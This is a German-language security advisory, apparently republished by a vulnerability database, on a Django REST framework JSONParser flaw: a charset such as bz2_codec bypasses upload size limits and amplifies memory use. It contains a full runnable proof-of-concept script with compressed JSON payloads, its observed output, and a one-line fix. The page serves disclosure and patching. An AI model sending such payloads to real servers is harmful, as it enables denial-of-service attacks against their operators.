Django REST framework: JSONParser wendet einen vom Angreifer benannten Codec auf den Anforderungsdatenstrom an
Zusammenfassung
Ein nicht authentifizierter Angreifer kann das DATA_UPLOAD_MAX_MEMORY_SIZE-Limit von Django umgehen und einen Worker-Prozess zwingen, beliebig viel Speicher zuzuweisen, indem er einen Komprimierungs-Codec im Charset-Parameter des Content-Type angibt. Ein Anfrage-Body von 108 Bytes erzeugt innerhalb der View einen Wert von 50,331,648 Zeichen, was einem Verstärkungsfaktor von 466,033 entspricht, und erhöht den Spitzen-RSS des Prozesses um ca. 97 MiB. Außer dem Standard-Parser-Set von DRF ist keine Anwendungskonfiguration erforderlich; der Endpunkt muss lediglich einen JSON-Body akzeptieren.
Details
JSONParser.parse dekodiert den Anforderungs-Body mit dem Zeichensatz, den der Client im Content-Type-Header angegeben hat:
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
Von den rund 455 Codec-Namen, die codecs.lookup auf CPython 3.14 auflöst, sind etwa 18 Byte-Transformationen statt Zeichensätze: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec und ähnliche. codecs.getreader ist der einzige Einstiegspunkt im Modul codecs, der CodecInfo._is_text_encoding nicht abfragt, sodass alle akzeptiert werden. Das Senden von Content-Type: application/json; charset=bz2_codec wickelt den Anfragestream in einen bz2-Dekompressor, bevor json.load ihn liest.
Die Reihenfolge macht dies ausnutzbar. Django rechnet DATA_UPLOAD_MAX_MEMORY_SIZE gegen die Bytes an, die über die Leitung angekommen sind: rest_framework/request.py übergibt JSONParser ein io.BytesIO(self.body), und in HttpRequest.body wird _check_data_too_big() ausgeführt. Die Dekomprimierung erfolgt danach innerhalb des Parsers, wo keine Zählung stattfindet.
Dies ist ein Fehler von DRF und nicht von Django. Django löst den Charset-Parameter auf und weist request.encoding zu, und codecs.lookup löst Byte-Transformationen auf, aber jeder Django-Consumer von request.encoding durchläuft die Text-Codec-API und schlägt im Zweifel fehl (fail-closed). Sowohl bytes.decode('bz2_codec') als auch str(raw, 'bz2_codec') lösen LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs aus. DRF ist der einzige Aufrufer, der den Anfragestream an codecs.getreader übergibt.
FormParser (parsers.py:84) und MultiPartParser (parsers.py:104-118) akzeptieren dieselbe vom Client benannte Kodierung, schlagen jedoch fehl (fail-closed), anstatt eine Verstärkung durchzuführen.
Die Schwachstelle wurde durch 9a228116 (PR #5147, 2017-05-24, „Improve memory footprint when reading large JSON requests“) eingeführt und erstmals in 3.6.4 veröffentlicht. Der letzte Kommentar zu diesem PR stellt fest, dass der beabsichtigte Speichergewinn nicht greift, da read() den gesamten Stream dekodiert – genau die Eigenschaft, die diese Erweiterung unbegrenzt macht. Seitdem wurde keine Überprüfung von _is_text_encoding hinzugefügt.
Ein einzeiliger Fix bei parsers.py:61-64:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
PoC
Als poc_charset_amplification.py speichern und ausführen. Es erstellt eigene Payloads, führt jeden Testzweig in einem separaten Unterprozess aus (Peak-RSS ist ein Höchststand, daher führt die Messung mehrerer Zweige in einem Prozess zu einem Zuwachs von nahezu null für jeden Zweig nach dem ersten) und gibt ein Ergebnis aus.
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
C1 48 MiB plaintext, Content-Type: application/json (no charset)
C2 the byte-identical T body, charset=utf-8
C3 zlib body, charset=zlib_codec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit.
python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile
PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536
ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
"C1": "rejected with RequestDataTooBig, view body never runs",
"C2": "HTTP 400 ParseError on the byte-identical compressed body",
"C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []
def build_payloads():
import bz2
import zlib
os.makedirs(PAYLOAD_DIR, exist_ok=True)
plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
blobs = {
"plain.bin": plain,
"bz2.bin": bz2.compress(plain, 9),
"zlib.bin": zlib.compress(plain, 9),
}
for name, blob in blobs.items():
with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
fh.write(blob)
return {name: len(blob) for name, blob in blobs.items()}
def configure_django():
from django.conf import settings
settings.configure(
DEBUG=False,
ALLOWED_HOSTS=["testserver"],
SECRET_KEY="poc",
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
],
DATABASES={
"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
},
DEFAULT_CHARSET="utf-8",
DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
LOGGING_CONFIG=None,
USE_TZ=True,
)
import django
django.setup()
def build_view():
from rest_framework.response import Response
from rest_framework.views import APIView
class Echo(APIView):
authentication_classes = []
permission_classes = []
def post(self, request):
data = request.data
VIEW_RAN.append(True)
value = data.get("a") if isinstance(data, dict) else None
return Response(
{"parsed_value_len": len(value) if isinstance(value, str) else None}
)
return Echo
def __getattr__(name):
# ROOT_URLCONF points at this module; build urlpatterns lazily.
if name == "urlpatterns":
from django.urls import path
value = [path("x", build_view().as_view())]
globals()["urlpatterns"] = value
return value
raise AttributeError(name)
def peak_rss_kib():
"""Peak resident size of this process. /proc is used where available because
ru_maxrss does not track the calling process on every kernel."""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmHWM:"):
return int(line.split(":")[1].strip().split()[0])
except OSError:
pass
import resource
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
def run_arm(arm):
payload_name, content_type = ARMS[arm]
with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
body = fh.read()
configure_django()
from django.test import Client, RequestFactory
client = Client(raise_request_exception=False)
# Warm every lazily imported module so the delta measures the request only.
client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
VIEW_RAN.clear()
before = peak_rss_kib()
response = client.generic("POST", "/x", data=body, content_type=content_type)
after = peak_rss_kib()
parsed_len = None
if response.status_code == 200:
try:
parsed_len = json.loads(response.content).get("parsed_value_len")
except ValueError:
pass
# Second reading via a bare RequestFactory so the exception class is visible
# directly instead of inferred from a status code.
request = RequestFactory().generic(
"POST", "/x", data=body, content_type=content_type
)
try:
direct = {"status_code": build_view().as_view()(request).status_code}
except BaseException as exc: # noqa: BLE001 - naming the class is the point
direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}
return {
"arm": arm,
"content_type": content_type,
"transmitted_bytes": len(body),
"body_sha256": hashlib.sha256(body).hexdigest(),
"status_code": response.status_code,
"view_body_executed": bool(VIEW_RAN),
"parsed_value_len": parsed_len,
"amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
"peak_rss_delta_mib": round((after - before) / 1024.0, 1),
"direct_dispatch": direct,
}
def check(arm, r):
if arm in ("T", "C3"):
return (
r["status_code"] == 200
and r["view_body_executed"]
and r["parsed_value_len"] == PAYLOAD_CHARS
and r["amplification_ratio"] >= 700
)
if arm == "C1":
return (
r["status_code"] != 200
and not r["view_body_executed"]
and r["direct_dispatch"].get("exception")
== "django.core.exceptions.RequestDataTooBig"
)
if arm == "C2":
return r["status_code"] == 400 and not r["view_body_executed"]
raise AssertionError(arm)
def main():
if "--arm" in sys.argv:
print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
return 0
sizes = build_payloads()
print(f"# payload sizes: {sizes}")
print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")
ok = True
results = {}
for arm in ("T", "C1", "C2", "C3"):
proc = subprocess.run(
[sys.executable, os.path.abspath(__file__), "--arm", arm],
capture_output=True,
text=True,
)
if proc.returncode != 0:
print(f"{arm}: harness failed\n{proc.stderr}")
return 2
r = json.loads(proc.stdout.strip().splitlines()[-1])
results[arm] = r
passed = check(arm, r)
ok = ok and passed
print(f"=== {arm} [{'as described' if passed else 'NOT as described'}]")
print(f" expected: {EXPECTED[arm]}")
print(json.dumps(r, indent=6))
print()
print("=== summary")
for arm, r in results.items():
print(
f" {arm:3} wire={r['transmitted_bytes']:>9}B status={r['status_code']} "
f"parsed_len={r['parsed_value_len']} ratio={r['amplification_ratio']} "
f"peak_rss_delta={r['peak_rss_delta_mib']} MiB view_ran={r['view_body_executed']}"
)
print(f"\n T and C1 and C2: {'all held' if ok else 'NOT all held'}")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
Beobachtete Ausgabe, gekürzt auf den Zusammenfassungsblock:
# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters
=== summary
T wire= 108B status=200 parsed_len=50331648 ratio=466033.8 peak_rss_delta=96.8 MiB view_ran=True
C1 wire= 50331656B status=400 parsed_len=None ratio=None peak_rss_delta=48.3 MiB view_ran=False
C2 wire= 108B status=400 parsed_len=None ratio=None peak_rss_delta=0.0 MiB view_ran=False
C3 wire= 48941B status=200 parsed_len=50331648 ratio=1028.4 peak_rss_delta=95.2 MiB view_ran=True
T and C1 and C2: all held
C1 stellt fest, dass die Größenbeschränkung aktiv und konfiguriert ist, sodass 200 in T ein umgangener Schutz und kein fehlender ist. C1 meldet ein eigenes RSS-Wachstum, weil der Client den 48 MiB großen Body hält, bevor das Limit ihn ablehnt; dies sind clientseitige Kosten, die die View nie erreichen. C2 trägt die Hauptlast: Sein Body ist byteweise identisch mit T, und nur der Codec-Name unterscheidet sich. Die RSS-Werte variieren zwischen den Durchläufen um wenige MiB.
Die Wiederholung aller vier Zweige unter Django 5.2.17 LTS ergab 109 Leitungsbytes zu 50,331,648 Zeichen, 461,758x, wobei sowohl C1 als auch C2 griffen.
Hinweis für eine eigene Re-Implementierung der Anfrage: Verwenden Sie Client.generic() oder RequestFactory().generic(). Sowohl Client.post() als auch RequestFactory.post() leiten den Body durch force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), wodurch eine komprimierte Payload zerstört wird, bevor der Parser sie sieht.
Auswirkung
Nicht authentifizierter Denial of Service durch Speicherverstärkung gegen jeden Endpunkt, der einen JSON-Body mit dem Standard-Parser-Set akzeptiert. Jede Bereitstellung unter 3.6.4 oder höher ist betroffen, und es ist kein spezieller Anwendungscode oder eine Konfigurationsentscheidung erforderlich, um betroffen zu sein. Der Speicher wird pro Anfrage zugewiesen und danach freigegeben, weshalb dies allein auf die Verfügbarkeit bezogen und nicht als kritisch eingestuft wird. Aufgrund des Verstärkungsfaktors kann jedoch bereits eine geringe Anzahl gleichzeitiger Anfragen einen Worker erschöpfen. Wenige hundert Bytes reservieren Hunderte von Megabytes, und weder in DRF noch in Django wird die expandierte Größe begrenzt.
Was zu tun ist
Aktualisieren Sie auf Version 3.18.2 oder höher. Alternativ kann der einzeilige Fix an parsers.py:61-64 angewendet werden:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | djangorestframework | >= 3.6.4, < 3.18.2 | 3.18.2 |
Verweise
- https://github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg
- https://nvd.nist.gov/vuln/detail/CVE-2026-114136
- https://github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a
- https://github.com/encode/django-rest-framework
- https://github.com/encode/django-rest-framework/releases/tag/3.18.2
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-409, CWE-770- Plattform
- Python (PyPI)
- Paket
djangorestframework- Veröffentlicht
- 22.10.2026
- Aktualisiert
- 25.10.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-3547-9m27-7rxg - CC BY 4.0
Schwachstellenhistorie: djangorestframework
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 6
- Erste → letzte
- 09.2020 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 2
- Mittel 3
- Niedrig 1
Veröffentlichungen pro Jahr
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 4
-
Django REST framework: JSONParser wendet einen vom Angreifer benannten Codec auf den Anforderungsdatenstrom an dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.